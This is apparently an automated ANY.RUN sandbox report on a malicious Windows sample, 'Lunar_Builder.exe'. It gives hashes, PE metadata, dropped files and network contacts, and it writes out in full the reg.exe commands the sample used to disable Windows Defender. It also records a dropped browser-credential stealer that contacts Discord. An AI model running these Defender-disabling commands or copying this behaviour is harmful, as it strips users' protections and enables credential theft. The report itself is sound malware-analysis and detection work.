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File name:

Lunar_Builder.exe

Full analysis: https://app.any.run/tasks/75140f63-509c-4d90-8bf6-28abb592de9a
Verdict: Malicious activity
Analysis date: January 14, 2022, 22:20:24
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5:

8B1BE9B3049540F96EE048B651F0C8A4

SHA1:

9016D54EE9F6FED364455D8880D0C331391E1533

SHA256:

B2F7A6339458F4794749142E282FEA405B8EEA2CDCABAD8B142C95F395E5B0B0

SSDEEP:

98304:xqXpy05Q0N1rsYSZ6BoXh1kkypSH3Oh5BemgjEX:Y405QYtsTEB08T8HehLvl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Disables Windows Defender

      • reg.exe (PID: 568)
      • reg.exe (PID: 3576)
      • reg.exe (PID: 4016)
      • reg.exe (PID: 2768)
      • reg.exe (PID: 2248)

    • Writes to a start menu file

      • Lunar_Builder.exe (PID: 2368)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3872)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 3156)
      • schtasks.exe (PID: 1728)
      • schtasks.exe (PID: 636)
      • schtasks.exe (PID: 1988)
      • schtasks.exe (PID: 3892)

    • Modifies Windows Defender service settings

      • reg.exe (PID: 600)

    • Application was dropped or rewritten from another process

      • RtkBtManServ.exe (PID: 1992)

    • Steals credentials from Web Browsers

      • RtkBtManServ.exe (PID: 1992)

    • Actions looks like stealing of personal data

      • RtkBtManServ.exe (PID: 1992)

  • SUSPICIOUS

    • Checks supported languages

      • RtkBtManServ.exe (PID: 1992)
      • cmd.exe (PID: 3872)
      • Lunar_Builder.exe (PID: 2368)
      • cmd.exe (PID: 1984)

    • Reads the computer name

      • Lunar_Builder.exe (PID: 2368)
      • RtkBtManServ.exe (PID: 1992)

    • Drops a file with a compile date too recent

      • Lunar_Builder.exe (PID: 2368)

    • Creates files in the user directory

      • Lunar_Builder.exe (PID: 2368)

    • Executable content was dropped or overwritten

      • Lunar_Builder.exe (PID: 2368)
      • RtkBtManServ.exe (PID: 1992)

    • Starts CMD.EXE for commands execution

      • Lunar_Builder.exe (PID: 2368)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 3872)

    • Drops a file that was compiled in debug mode

      • RtkBtManServ.exe (PID: 1992)

    • Creates or modifies windows services

      • reg.exe (PID: 3924)
      • reg.exe (PID: 3664)
      • reg.exe (PID: 1088)
      • reg.exe (PID: 2768)

    • Reads Environment values

      • RtkBtManServ.exe (PID: 1992)

    • Reads the cookies of Mozilla Firefox

      • RtkBtManServ.exe (PID: 1992)

    • Starts CHOICE.EXE (used to create a delay)

      • cmd.exe (PID: 1984)

  • INFO

    • Checks supported languages

      • reg.exe (PID: 2200)
      • reg.exe (PID: 3220)
      • reg.exe (PID: 2340)
      • reg.exe (PID: 4016)
      • reg.exe (PID: 3576)
      • reg.exe (PID: 568)
      • reg.exe (PID: 2316)
      • reg.exe (PID: 2248)
      • reg.exe (PID: 2768)
      • reg.exe (PID: 3740)
      • reg.exe (PID: 3184)
      • reg.exe (PID: 4012)
      • reg.exe (PID: 1116)
      • reg.exe (PID: 3008)
      • schtasks.exe (PID: 1728)
      • schtasks.exe (PID: 3156)
      • reg.exe (PID: 984)
      • schtasks.exe (PID: 636)
      • schtasks.exe (PID: 3892)
      • schtasks.exe (PID: 1988)
      • reg.exe (PID: 1220)
      • reg.exe (PID: 3904)
      • reg.exe (PID: 520)
      • reg.exe (PID: 3832)
      • reg.exe (PID: 3664)
      • reg.exe (PID: 1648)
      • reg.exe (PID: 1088)
      • reg.exe (PID: 3924)
      • reg.exe (PID: 2768)
      • reg.exe (PID: 600)
      • choice.exe (PID: 3640)

    • Reads the computer name

      • schtasks.exe (PID: 1728)
      • schtasks.exe (PID: 3156)
      • schtasks.exe (PID: 636)
      • schtasks.exe (PID: 3892)
      • schtasks.exe (PID: 1988)

    • Reads settings of System Certificates

      • RtkBtManServ.exe (PID: 1992)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (41)
.exe | Win64 Executable (generic) (36.3)
.dll | Win32 Dynamic Link Library (generic) (8.6)
.exe | Win32 Executable (generic) (5.9)
.exe | Win16/32 Executable Delphi generic (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:01:10 23:52:34+01:00
PEType: PE32
LinkerVersion: 11
CodeSize: 3083776
InitializedDataSize: 97792
UninitializedDataSize: -
EntryPoint: 0x30e00a
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 2.2.0.0
ProductVersionNumber: 2.2.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: Neutral
CharacterSet: Unicode
Comments: Lunar Builder
FileDescription: Lunar Builder
FileVersion: 2.2.0.0
InternalName: Lunar Builder.exe
LegalCopyright: Copyright © 2021
OriginalFileName: Lunar Builder.exe
ProductName: Lunar Builder
ProductVersion: 2.2.0.0
AssemblyVersion: 2.2.0.0

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 10-Jan-2022 22:52:34
Comments: Lunar Builder
FileDescription: Lunar Builder
FileVersion: 2.2.0.0
InternalName: Lunar Builder.exe
LegalCopyright: Copyright © 2021
OriginalFilename: Lunar Builder.exe
ProductName: Lunar Builder
ProductVersion: 2.2.0.0
Assembly Version: 2.2.0.0

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000080

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 10-Jan-2022 22:52:34
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
>E,\`\x18E\x12\xb8\x1f
0x00002000
0x00001FB8
0x00002000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
7.97681
.text
0x00004000
0x002F0BA0
0x002F0C00
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
7.98893
.rsrc
0x002F6000
0x00015B70
0x00015C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
7.9229
.reloc
0x0030C000
0x0000000C
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
0.0940979
0x0030E000
0x00000010
0x00000200
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
0.701546

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.00112
490
UNKNOWN
UNKNOWN
RT_MANIFEST
2
7.94352
80348
UNKNOWN
UNKNOWN
RT_ICON
3
7.91247
3786
UNKNOWN
UNKNOWN
RT_ICON
4
7.87446
2234
UNKNOWN
UNKNOWN
RT_ICON
5
7.61244
792
UNKNOWN
UNKNOWN
RT_ICON
32512
2.43388
62
UNKNOWN
UNKNOWN
RT_GROUP_ICON

Imports

mscoree.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
74
Monitored processes
35
Malicious processes
3
Suspicious processes
6

Behavior graph

Click at the process to see the details
drop and start start lunar_builder.exe rtkbtmanserv.exe cmd.exe reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs cmd.exe no specs choice.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2368"C:\Users\admin\AppData\Local\Temp\Lunar_Builder.exe" C:\Users\admin\AppData\Local\Temp\Lunar_Builder.exe
Explorer.EXE
User:
admin
Integrity Level:
MEDIUM
Description:
Lunar Builder
Exit code:
0
Version:
2.2.0.0
1992"C:\Users\admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs4TKR89WsWTiBjLJ5DOEGMpsDI7iFvRbWN/F3P6wu6Vi9lfq1MQssSlqiY8q+UA2R2KtIa6tbB+8cVzXYjkoJb+y2ht2PbQupltpBqJLuGy8aXSPBgKC4lE8GH5/67J7nk=C:\Users\admin\AppData\Local\Temp\RtkBtManServ.exe
Lunar_Builder.exe
User:
admin
Integrity Level:
MEDIUM
Description:
RtkBtManServ
Version:
1.0.0.0
3872"C:\Windows\System32\cmd.exe" /C "C:\Users\admin\AppData\Local\Temp\dav.bat" C:\Windows\System32\cmd.exe
Lunar_Builder.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2200reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3576reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2340reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3220reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
568reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
4016reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2248reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /fC:\Windows\system32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
4 206
Read events
4 152
Write events
52
Delete events
2

Modification events

(PID) Process:(2368) Lunar_Builder.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2368) Lunar_Builder.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2368) Lunar_Builder.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2368) Lunar_Builder.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2200) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection
Operation:delete keyName:(default)
Value:
(PID) Process:(2200) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
Operation:delete keyName:(default)
Value:
(PID) Process:(3576) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
Operation:writeName:DisableAntiSpyware
Value:
1
(PID) Process:(2340) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
Operation:writeName:DisableAntiVirus
Value:
1
(PID) Process:(3220) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine
Operation:writeName:MpEnablePus
Value:
0
(PID) Process:(568) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
Operation:writeName:DisableBehaviorMonitoring
Value:
1
Executable files
8
Suspicious files
19
Text files
6
Unknown types
3

Dropped files

PID
Process
Filename
Type
2368Lunar_Builder.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Update Manager8801080.exeexecutable
MD5:8B1BE9B3049540F96EE048B651F0C8A4
SHA256:B2F7A6339458F4794749142E282FEA405B8EEA2CDCABAD8B142C95F395E5B0B0
2368Lunar_Builder.exeC:\Users\admin\AppData\Local\Temp\whysosadtext
MD5:FC3C88C2080884D6C995D48E172FBC4F
SHA256:1637CE704A463BD3C91A38AA02D1030107670F91EE3F0DD4FA13D07A77BA2664
1992RtkBtManServ.exeC:\Users\admin\AppData\Local\Temp\costura.costura.dll.compressedbinary
MD5:9AB99399CB17964E3E30B7DDEB6BB8B9
SHA256:BDFED3E39A17DBC95D43FC5141904414A62E8B459F338F65A2F1C3D1FACDDD2F
1992RtkBtManServ.exeC:\Users\admin\AppData\Local\Temp\snuvcdsm.exeexecutable
MD5:053778713819BEAB3DF309DF472787CD
SHA256:F999357A17E672E87FBED66D14BA2BEBD6FB04E058A1AAE0F0FDC49A797F58FE
2368Lunar_Builder.exeC:\Users\admin\AppData\Local\Temp\dav.battext
MD5:FC3C88C2080884D6C995D48E172FBC4F
SHA256:1637CE704A463BD3C91A38AA02D1030107670F91EE3F0DD4FA13D07A77BA2664
1992RtkBtManServ.exeC:\Users\admin\AppData\Local\Temp\costura.discord webhook.dll.compressedbinary
MD5:F999480EC537EC2126251977CBF8F4E3
SHA256:84E5C3EAC27895AB23B9F827F9B259F5A1277D4A7F1930D04638FBF47AD4D2CE
1992RtkBtManServ.exeC:\Users\admin\AppData\Local\Temp\bfsvc.exeexecutable
MD5:899D3ED011EB58459B8A4FC2B81F0924
SHA256:5E3F311AE67F046B56435067BCDD39FBF836FA0421FBC8C8B0E43E8E47524954
1992RtkBtManServ.exeC:\Users\admin\AppData\Local\Temp\costura.discord.net.core.dll.compressedbinary
MD5:4104898CA34FEBB688ED63812EFE8CF4
SHA256:265850B1887F252E04C54F81EF872587B3CFD66B0D708621D2520BC6D4BBDCAC
1992RtkBtManServ.exeC:\Users\admin\AppData\Local\Temp\bfsvc.cfgtext
MD5:5242530A2B65089696F3CF8E5EE02FF7
SHA256:239A1D9844DDBD0E650F8E5DE69A2A40067106A79878FA4948A8039F1573B781
2368Lunar_Builder.exeC:\Users\admin\AppData\Local\Temp\RtkBtManServ.exeexecutable
MD5:88AB0BB59B0B20816A833BA91C1606D3
SHA256:F4FB42C8312A6002A8783E2A1AB4571EB89E92CD192B1A21E8C4582205C37312
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
4
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1992
RtkBtManServ.exe
162.159.136.232:443
discord.com
Cloudflare Inc
—
shared
1992
RtkBtManServ.exe
162.159.128.233:443
discord.com
Cloudflare Inc
—
malicious
—
—
162.159.136.232:443
discord.com
Cloudflare Inc
—
shared
—
—
162.159.135.232:443
discord.com
Cloudflare Inc
—
malicious

DNS requests

Domain
IP
Reputation
itroublvehacker.gq
  • —
whitelisted
discord.com
  • 162.159.136.232
  • 162.159.135.232
  • 162.159.128.233
  • 162.159.138.232
  • 162.159.137.232
whitelisted
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .gq Domain
No debug info
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Reports
Lunar_Builder.exe